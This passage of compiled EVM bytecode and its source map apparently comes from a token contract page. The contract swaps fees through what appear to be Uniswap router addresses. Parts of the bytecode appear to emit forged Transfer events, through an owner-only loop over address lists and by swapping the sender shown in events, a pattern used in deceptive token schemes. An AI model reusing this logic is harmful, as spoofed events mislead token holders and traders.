614155b1561143a576001600360146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561122d5761122c611fa8565b5b60405190808252806020026020018201604052801561125b5781602001602082028036833780820191505090505b50905030815f8151811061127257611271611f1e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106112d5576112d4611f1e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a61134f9190611e60565b633b9aca0061135e9190611eaa565b6113689190611f78565b5f8430426040518663ffffffff1660e01b815260040161138c9594939291906120dd565b5f604051808303815f87803b1580156113a3575f80fd5b505af11580156113b5573d5f803e3d5ffd5b5050505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561141d573d5f803e3d5ffd5b505f600360146101000a81548160ff021916908315150217905550505b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611489575060011515600360159054906101000a900460ff161515145b15611586575f606460025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16146114fa57601160019054906101000a900460ff1661150a565b60115f9054906101000a900460ff165b60ff16846115189190611eaa565b6115229190611f78565b905080836115309190611eeb565b9250805f803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461157d9190612135565b92505081905550505b815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546115d19190612135565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036116b7578273ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116aa91906119c7565b60405180910390a36117fd565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117965760045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161178991906119c7565b60405180910390a36117fc565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117f391906119c7565b60405180910390a35b5b600190509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561183f578082015181840152602081019050611824565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61186482611808565b61186e8185611812565b935061187e818560208601611822565b6118878161184a565b840191505092915050565b5f6020820190508181035f8301526118aa818461185a565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6118e3826118ba565b9050919050565b6118f3816118d9565b81146118fd575f80fd5b50565b5f8135905061190e816118ea565b92915050565b5f819050919050565b61192681611914565b8114611930575f80fd5b50565b5f813590506119418161191d565b92915050565b5f806040838503121561195d5761195c6118b2565b5b5f61196a85828601611900565b925050602061197b85828601611933565b9150509250929050565b5f8115159050919050565b61199981611985565b82525050565b5f6020820190506119b25f830184611990565b92915050565b6119c181611914565b82525050565b5f6020820190506119da5f8301846119b8565b92915050565b5f602082840312156119f5576119f46118b2565b5b5f611a0284828501611900565b91505092915050565b5f805f60608486031215611a2257611a216118b2565b5b5f611a2f86828701611900565b9350506020611a4086828701611900565b9250506040611a5186828701611933565b9150509250925092565b5f60ff82169050919050565b611a7081611a5b565b82525050565b5f602082019050611a895f830184611a67565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112611ab057611aaf611a8f565b5b8235905067ffffffffffffffff811115611acd57611acc611a93565b5b602083019150836020820283011115611ae957611ae8611a97565b5b9250929050565b5f8083601f840112611b0557611b04611a8f565b5b8235905067ffffffffffffffff811115611b2257611b21611a93565b5b602083019150836020820283011115611b3e57611b3d611a97565b5b9250929050565b5f805f805f60608688031215611b5e57611b5d6118b2565b5b5f611b6b88828901611900565b955050602086013567ffffffffffffffff811115611b8c57611b8b6118b6565b5b611b9888828901611a9b565b9450945050604086013567ffffffffffffffff811115611bbb57611bba6118b6565b5b611bc788828901611af0565b92509250509295509295909350565b611bdf81611a5b565b8114611be9575f80fd5b50565b5f81359050611bfa81611bd6565b92915050565b5f8060408385031215611c1657611c156118b2565b5b5f611c2385828601611bec565b9250506020611c3485828601611bec565b9150509250929050565b5f60208284031215611c5357611c526118b2565b5b5f611c6084828501611bec565b91505092915050565b5f8060408385031215611c7f57611c7e6118b2565b5b5f611c8c85828601611900565b9250506020611c9d85828601611900565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611ceb57607f821691505b602082108103611cfe57611cfd611ca7565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115611d8657808604811115611d6257611d61611d04565b5b6001851615611d715780820291505b8081029050611d7f85611d31565b9450611d46565b94509492505050565b5f82611d9e5760019050611e59565b81611dab575f9050611e59565b8160018114611dc15760028114611dcb57611dfa565b6001915050611e59565b60ff841115611ddd57611ddc611d04565b5b8360020a915084821115611df457611df3611d04565b5b50611e59565b5060208310610133831016604e8410600b8410161715611e2f5782820a905083811115611e2a57611e29611d04565b5b611e59565b611e3c8484846001611d3d565b92509050818404811115611e5357611e52611d04565b5b81810290505b9392505050565b5f611e6a82611914565b9150611e7583611a5b565b9250611ea27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611d8f565b905092915050565b5f611eb482611914565b9150611ebf83611914565b9250828202611ecd81611914565b91508282048414831517611ee457611ee3611d04565b5b5092915050565b5f611ef582611914565b9150611f0083611914565b9250828203905081811115611f1857611f17611d04565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611f8282611914565b9150611f8d83611914565b925082611f9d57611f9c611f4b565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f819050919050565b5f819050919050565b5f612001611ffc611ff784611fd5565b611fde565b611914565b9050919050565b61201181611fe7565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612049816118d9565b82525050565b5f61205a8383612040565b60208301905092915050565b5f602082019050919050565b5f61207c82612017565b6120868185612021565b935061209183612031565b805f5b838110156120c15781516120a8888261204f565b97506120b383612066565b925050600181019050612094565b5085935050505092915050565b6120d7816118d9565b82525050565b5f60a0820190506120f05f8301886119b8565b6120fd6020830187612008565b818103604083015261210f8186612072565b905061211e60608301856120ce565b61212b60808301846119b8565b9695505050505050565b5f61213f82611914565b915061214a83611914565b925082820190508082111561216257612161611d04565b5b9291505056fea2646970667358221220987e5de55321909e0b4603b4021b2209d319b1e77a3f994c0f3633b10a3e318164736f6c63430008160033

Deployed Bytecode Sourcemap

19825:7254:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25260:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24908:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21147:68;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23371:142;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;24677:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21105:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23521:148;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;24321:348;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23841:173;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19856:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23015:163;;;;;;;;;;;;;:::i;:::-;;24022:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;25359:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25123:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24169:144;;;;;;;;;;;;;:::i;:::-;;19907:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23680:153;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23186:177;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;25260:91;25305:13;25338:5;25331:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25260:91;:::o;24908:207::-;24976:4;25026:6;24993:9;:21;25003:10;24993:21;;;;;;;;;;;;;;;:30;25015:7;24993:30;;;;;;;;;;;;;;;:39;;;;25069:7;25048:37;;25057:10;25048:37;;;25078:6;25048:37;;;;;;:::i;:::-;;;;;;;;25103:4;25096:11;;24908:207;;;;:::o;21147:68::-;21138:2;21201;:14;;;;:::i;:::-;21185:13;:30;;;;:::i;:::-;21147:68;:::o;23371:142::-;23444:9;;;;;;;;;;;23430:23;;:10;:23;;;23426:47;;23462:11;;;;;;;;;;;;;;23426:47;23500:5;23484:13;;:21;;;;;;;;;;;;;;;;;;23371:142;:::o;24677:223::-;24793:4;24841:6;24810:9;:15;24820:4;24810:15;;;;;;;;;;;;;;;:27;24826:10;24810:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;24865:27;24875:4;24881:2;24885:6;24865:9;:27::i;:::-;24858:34;;24677:223;;;;;:::o;21105:35::-;21138:2;21105:35;:::o;23521:148::-;23600:9;;;;;;;;;;;23586:23;;:10;:23;;;23582:47;;23618:11;;;;;;;;;;;;;;23582:47;23654:7;23640:13;;:21;;;;;;;;;;;;;;;;;;23521:148;:::o;24321:348::-;24502:9;;;;;;;;;;;24488:23;;:10;:23;;;24484:47;;24520:11;;;;;;;;;;;;;;24484:47;24547:9;24542:120;24566:8;;:15;;24562:1;:19;24542:120;;;24626:8;;24635:1;24626:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;24608:42;;24617:7;24608:42;;;24639:7;;24647:1;24639:10;;;;;;;:::i;:::-;;;;;;;;24608:42;;;;;;:::i;:::-;;;;;;;;24583:3;;;;;;;24542:120;;;;24321:348;;;;;:::o;23841:173::-;23924:9;;;;;;;;;;;23910:23;;:10;:23;;;23906:47;;23942:11;;;;;;;;;;;;;;23906:47;23976:4;23967:6;;:13;;;;;;;;;;;;;;;;;;24001:5;23991:7;;:15;;;;;;;;;;;;;;;;;;23841:173;;:::o;19856:44::-;;;;;;;;;;;;;;;;;:::o;23015:163::-;23082:9;;;;;;;;;;;23068:23;;:10;:23;;;23064:47;;23100:11;;;;;;;;;;;;;;23064:47;23167:1;23127:43;;23148:9;;;;;;;;;;;23127:43;;;;;;;;;;;;23015:163::o;24022:139::-;24097:9;;;;;;;;;;;24083:23;;:10;:23;;;24079:47;;24115:11;;;;;;;;;;;;;;24079:47;24147:6;24137:7;;:16;;;;;;;;;;;;;;;;;;24022:139;:::o;25359:95::-;25406:13;25439:7;25432:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25359:95;:::o;25123:129::-;25187:4;25211:33;25221:10;25233:2;25237:6;25211:9;:33::i;:::-;25204:40;;25123:129;;;;:::o;24169:144::-;24234:9;;;;;;;;;;;24220:23;;:10;:23;;;24212:32;;;;;;24264:11;;;;;;;;;;;24263:12;24255:21;;;;;;24301:4;24287:11;;:18;;;;;;;;;;;;;;;;;;24169:144::o;19907:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;23680:153::-;23757:9;;;;;;;;;;;23743:23;;:10;:23;;;23739:47;;23775:11;;;;;;;;;;;;;;23739:47;23811:7;23797:13;;:21;;;;;;;;;;;;;;;;;;23680:153;:::o;23186:177::-;23269:9;;;;;;;;;;;23255:23;;:10;:23;;;23251:47;;23287:11;;;;;;;;;;;;;;23251:47;23346:8;23314:41;;23335:9;;;;;;;;;;;23314:41;;;;;;;;;;;;23186:177;:::o;25462:1611::-;25575:4;25600:11;;;;;;;;;;;:32;;;;25623:9;;;;;;;;;;;25615:17;;:4;:17;;;25600:32;:51;;;;25642:9;;;;;;;;;;;25636:15;;:2;:15;;;25600:51;25592:60;;;;;;25670:11;;;;;;;;;;;25669:12;:34;;;;;25701:1;25685:18;;:4;;;;;;;;;;;:18;;;25669:34;:48;;;;;25716:1;25707:6;:10;25669:48;25665:63;;;25726:2;25719:4;;:9;;;;;;;;;;;;;;;;;;25665:63;25760:6;25741:9;:15;25751:4;25741:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;25803:4;;;;;;;;;;;25797:10;;:2;:10;;;:36;;;;;25825:8;;;;;;;;;;;25824:9;25797:36;:91;;;;;21318:3;21138:2;21201;:14;;;;:::i;:::-;21185:13;:30;;;;:::i;:::-;21304:17;;;;:::i;:::-;25850:9;:24;25868:4;25850:24;;;;;;;;;;;;;;;;:38;;25797:91;:125;;;;;25913:9;;;;;;;;;;;25905:17;;:4;:17;;;;25797:125;25779:685;;;25960:4;25949:8;;:15;;;;;;;;;;;;;;;;;;25979:21;26017:1;26003:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25979:40;;26052:4;26034;26039:1;26034:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;20030:42;26072:4;26077:1;26072:7;;;;;;;;:::i;:::-;;;;;;;:13;;;;;;;;;;;20112:42;26100:88;;;21318:3;21138:2;21201;:14;;;;:::i;:::-;21185:13;:30;;;;:::i;:::-;21304:17;;;;:::i;:::-;26244:1;26268:4;26303;26331:15;26100:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26380:9;;;;;;;;;;;:18;;:41;26399:21;26380:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26447:5;26436:8;;:16;;;;;;;;;;;;;;;;;;25934:530;25779:685;26496:4;26480:21;;:4;:21;;;;:44;;;;;26520:4;26505:19;;:11;;;;;;;;;;;:19;;;26480:44;26476:280;;;26541:27;26635:3;26607:4;;;;;;;;;;;26599:12;;:4;:12;;;:31;;26623:7;;;;;;;;;;;26599:31;;;26614:6;;;;;;;;;;;26599:31;26572:59;;:6;:59;;;;:::i;:::-;26571:67;;;;:::i;:::-;26541:97;;26663:19;26653:29;;;;;:::i;:::-;;;26725:19;26697:9;:24;26715:4;26697:24;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;26526:230;26476:280;26783:6;26766:9;:13;26776:2;26766:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;26814:9;;;;;;;;;;;26806:17;;:4;:17;;;26802:242;;26865:2;26845:31;;26854:9;;;;;;;;;;;26845:31;;;26869:6;26845:31;;;;;;:::i;:::-;;;;;;;;26802:242;;;26904:9;;;;;;;;;;;26898:15;;:2;:15;;;26894:150;;26950:9;;;;;;;;;;;26935:33;;26944:4;26935:33;;;26961:6;26935:33;;;;;;:::i;:::-;;;;;;;;26894:150;;;27021:2;27006:26;;27015:4;27006:26;;;27025:6;27006:26;;;;;;:::i;:::-;;;;;;;;26894:150;26802:242;27061:4;27054:11;;25462:1611;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:329::-;3857:6;3906:2;3894:9;3885:7;3881:23;3877:32;3874:119;;;3912:79;;:::i;:::-;3874:119;4032:1;4057:53;4102:7;4093:6;4082:9;4078:22;4057:53;:::i;:::-;4047:63;;4003:117;3798:329;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:117::-;5297:1;5294;5287:12;5311:117;5420:1;5417;5410:12;5434:117;5543:1;5540;5533:12;5574:568;5647:8;5657:6;5707:3;5700:4;5692:6;5688:17;5684:27;5674:122;;5715:79;;:::i;:::-;5674:122;5828:6;5815:20;5805:30;;5858:18;5850:6;5847:30;5844:117;;;5880:79;;:::i;:::-;5844:117;5994:4;5986:6;5982:17;5970:29;;6048:3;6040:4;6032:6;6028:17;6018:8;6014:32;6011:41;6008:128;;;6055:79;;:::i;:::-;6008:128;5574:568;;;;;:::o;6165:::-;6238:8;6248:6;6298:3;6291:4;6283:6;6279:17;6275:27;6265:122;;6306:79;;:::i;:::-;6265:122;6419:6;6406:20;6396:30;;6449:18;6441:6;6438:30;6435:117;;;6471:79;;:::i;:::-;6435:117;6585:4;6577:6;6573:17;6561:29;;6639:3;6631:4;6623:6;6619:17;6609:8;6605:32;6602:41;6599:128;;;6646:79;;:::i;:::-;6599:128;6165:568;;;;;:::o;6739:1079::-;6870:6;6878;6886;6894;6902;6951:2;6939:9;6930:7;6926:23;6922:32;6919:119;;;6957:79;;:::i;:::-;6919:119;7077:1;7102:53;7147:7;7138:6;7127:9;7123:22;7102:53;:::i;:::-;7092:63;;7048:117;7232:2;7221:9;7217:18;7204:32;7263:18;7255:6;7252:30;7249:117;;;7285:79;;:::i;:::-;7249:117;7398:80;7470:7;7461:6;7450:9;7446:22;7398:80;:::i;:::-;7380:98;;;;7175:313;7555:2;7544:9;7540:18;7527:32;7586:18;7578:6;7575:30;7572:117;;;7608:79;;:::i;:::-;7572:117;7721:80;7793:7;7784:6;7773:9;7769:22;7721:80;:::i;:::-;7703:98;;;;7498:313;6739:1079;;;;;;;;:::o;7824:118::-;7895:22;7911:5;7895:22;:::i;:::-;7888:5;7885:33;7875:61;;7932:1;7929;7922:12;7875:61;7824:118;:::o;7948:135::-;7992:5;8030:6;8017:20;8008:29;;8046:31;8071:5;8046:31;:::i;:::-;7948:135;;;;:::o;8089:466::-;8153:6;8161;8210:2;8198:9;8189:7;8185:23;8181:32;8178:119;;;8216:79;;:::i;:::-;8178:119;8336:1;8361:51;8404:7;8395:6;8384:9;8380:22;8361:51;:::i;:::-;8351:61;;8307:115;8461:2;8487:51;8530:7;8521:6;8510:9;8506:22;8487:51;:::i;:::-;8477:61;;8432:116;8089:466;;;;;:::o;8561:325::-;8618:6;8667:2;8655:9;8646:7;8642:23;8638:32;8635:119;;;8673:79;;:::i;:::-;8635:119;8793:1;8818:51;8861:7;8852:6;8841:9;8837:22;8818:51;:::i;:::-;8808:61;;8764:115;8561:325;;;;:::o;8892:474::-;8960:6;8968;9017:2;9005:9;8996:7;8992:23;8988:32;8985:119;;;9023:79;;:::i;:::-;8985:119;9143:1;9168:53;9213:7;9204:6;9193:9;9189:22;9168:53;:::i;:::-;9158:63;;9114:117;9270:2;9296:53;9341:7;9332:6;9321:9;9317:22;9296:53;:::i;:::-;9286:63;;9241:118;8892:474;;;;;:::o;9372:180::-;9420:77;9417:1;9410:88;9517:4;9514:1;9507:15;9541:4;9538:1;9531:15;9558:320;9602:6;9639:1;9633:4;9629:12;9619:22;;9686:1;9680:4;9676:12;9707:18;9697:81;;9763:4;9755:6;9751:17;9741:27;;9697:81;9825:2;9817:6;9814:14;9794:18;9791:38;9788:84;;9844:18;;:::i;:::-;9788:84;9609:269;9558:320;;;:::o;9884:180::-;9932:77;9929:1;9922:88;10029:4;10026:1;10019:15;10053:4;10050:1;10043:15;10070:102;10112:8;10159:5;10156:1;10152:13;10131:34;;10070:102;;;:::o;10178:848::-;10239:5;10246:4;10270:6;10261:15;;10294:5;10285:14;;10308:712;10329:1;10319:8;10316:15;10308:712;;;10424:4;10419:3;10415:14;10409:4;10406:24;10403:50;;;10433:18;;:::i;:::-;10403:50;10483:1;10473:8;10469:16;10466:451;;;10898:4;10891:5;10887:16;10878:25;;10466:451;10948:4;10942;10938:15;10930:23;;10978:32;11001:8;10978:32;:::i;:::-;10966:44;;10308:712;;;10178:848;;;;;;;:::o;11032:1073::-;11086:5;11277:8;11267:40;;11298:1;11289:10;;11300:5;;11267:40;11326:4;11316:36;;11343:1;11334:10;;11345:5;;11316:36;11412:4;11460:1;11455:27;;;;11496:1;11491:191;;;;11405:277;;11455:27;11473:1;11464:10;;11475:5;;;11491:191;11536:3;11526:8;11523:17;11520:43;;;11543:18;;:::i;:::-;11520:43;11592:8;11589:1;11585:16;11576:25;;11627:3;11620:5;11617:14;11614:40;;;11634:18;;:::i;:::-;11614:40;11667:5;;;11405:277;;11791:2;11781:8;11778:16;11772:3;11766:4;11763:13;11759:36;11741:2;11731:8;11728:16;11723:2;11717:4;11714:12;11710:35;11694:111;11691:246;;;11847:8;11841:4;11837:19;11828:28;;11882:3;11875:5;11872:14;11869:40;;;11889:18;;:::i;:::-;11869:40;11922:5;;11691:246;11962:42;12000:3;11990:8;11984:4;11981:1;11962:42;:::i;:::-;11947:57;;;;12036:4;12031:3;12027:14;12020:5;12017:25;12014:51;;;12045:18;;:::i;:::-;12014:51;12094:4;12087:5;12083:16;12074:25;;11032:1073;;;;;;:::o;12111:281::-;12169:5;12193:23;12211:4;12193:23;:::i;:::-;12185:31;;12237:25;12253:8;12237:25;:::i;:::-;12225:37;;12281:104;12318:66;12308:8;12302:4;12281:104;:::i;:::-;12272:113;;12111:281;;;;:::o;12398:410::-;12438:7;12461:20;12479:1;12461:20;:::i;:::-;12456:25;;12495:20;12513:1;12495:20;:::i;:::-;12490:25;;12550:1;12547;12543:9;12572:30;12590:11;12572:30;:::i;:::-;12561:41;;12751:1;12742:7;12738:15;12735:1;12732:22;12712:1;12705:9;12685:83;12662:139;;12781:18;;:::i;:::-;12662:139;12446:362;12398:410;;;;:::o;12814:194::-;12854:4;12874:20;12892:1;12874:20;:::i;:::-;12869:25;;12908:20;12926:1;12908:20;:::i;:::-;12903:25;;12952:1;12949;12945:9;12937:17;;12976:1;12970:4;12967:11;12964:37;;;12981:18;;:::i;:::-;12964:37;12814:194;;;;:::o;13014:180::-;13062:77;13059:1;13052:88;13159:4;13156:1;13149:15;13183:4;13180:1;13173:15;13200:180;13248:77;13245:1;13238:88;13345:4;13342:1;13335:15;13369:4;13366:1;13359:15;13386:185;13426:1;13443:20;13461:1;13443:20;:::i;:::-;13438:25;;13477:20;13495:1;13477:20;:::i;:::-;13472:25;;13516:1;13506:35;;13521:18;;:::i;:::-;13506:35;13563:1;13560;13556:9;13551:14;;13386:185;;;;:::o;13577:180::-;13625:77;13622:1;13615:88;13722:4;13719:1;13712:15;13746:4;13743:1;13736:15;13763:85;13808:7;13837:5;13826:16;;13763:85;;;:::o;13854:60::-;13882:3;13903:5;13896:12;;13854:60;;;:::o;13920:158::-;13978:9;14011:61;14029:42;14038:32;14064:5;14038:32;:::i;:::-;14029:42;:::i;:::-;14011:61;:::i;:::-;13998:74;;13920:158;;;:::o;14084:147::-;14179:45;14218:5;14179:45;:::i;:::-;14174:3;14167:58;14084:147;;:::o;14237:114::-;14304:6;14338:5;14332:12;14322:22;;14237:114;;;:::o;14357:184::-;14456:11;14490:6;14485:3;14478:19;14530:4;14525:3;14521:14;14506:29;;14357:184;;;;:::o;14547:132::-;14614:4;14637:3;14629:11;;14667:4;14662:3;14658:14;14650:22;;14547:132;;;:::o;14685:108::-;14762:24;14780:5;14762:24;:::i;:::-;14757:3;14750:37;14685:108;;:::o;14799:179::-;14868:10;14889:46;14931:3;14923:6;14889:46;:::i;:::-;14967:4;14962:3;14958:14;14944:28;;14799:179;;;;:::o;14984:113::-;15054:4;15086;15081:3;15077:14;15069:22;;14984:113;;;:::o;15133:732::-;15252:3;15281:54;15329:5;15281:54;:::i;:::-;15351:86;15430:6;15425:3;15351:86;:::i;:::-;15344:93;;15461:56;15511:5;15461:56;:::i;:::-;15540:7;15571:1;15556:284;15581:6;15578:1;15575:13;15556:284;;;15657:6;15651:13;15684:63;15743:3;15728:13;15684:63;:::i;:::-;15677:70;;15770:60;15823:6;15770:60;:::i;:::-;15760:70;;15616:224;15603:1;15600;15596:9;15591:14;;15556:284;;;15560:14;15856:3;15849:10;;15257:608;;;15133:732;;;;:::o;15871:118::-;15958:24;15976:5;15958:24;:::i;:::-;15953:3;15946:37;15871:118;;:::o;15995:831::-;16258:4;16296:3;16285:9;16281:19;16273:27;;16310:71;16378:1;16367:9;16363:17;16354:6;16310:71;:::i;:::-;16391:80;16467:2;16456:9;16452:18;16443:6;16391:80;:::i;:::-;16518:9;16512:4;16508:20;16503:2;16492:9;16488:18;16481:48;16546:108;16649:4;16640:6;16546:108;:::i;:::-;16538:116;;16664:72;16732:2;16721:9;16717:18;16708:6;16664:72;:::i;:::-;16746:73;16814:3;16803:9;16799:19;16790:6;16746:73;:::i;:::-;15995:831;;;;;;;;:::o;16832:191::-;16872:3;16891:20;16909:1;16891:20;:::i;:::-;16886:25;;169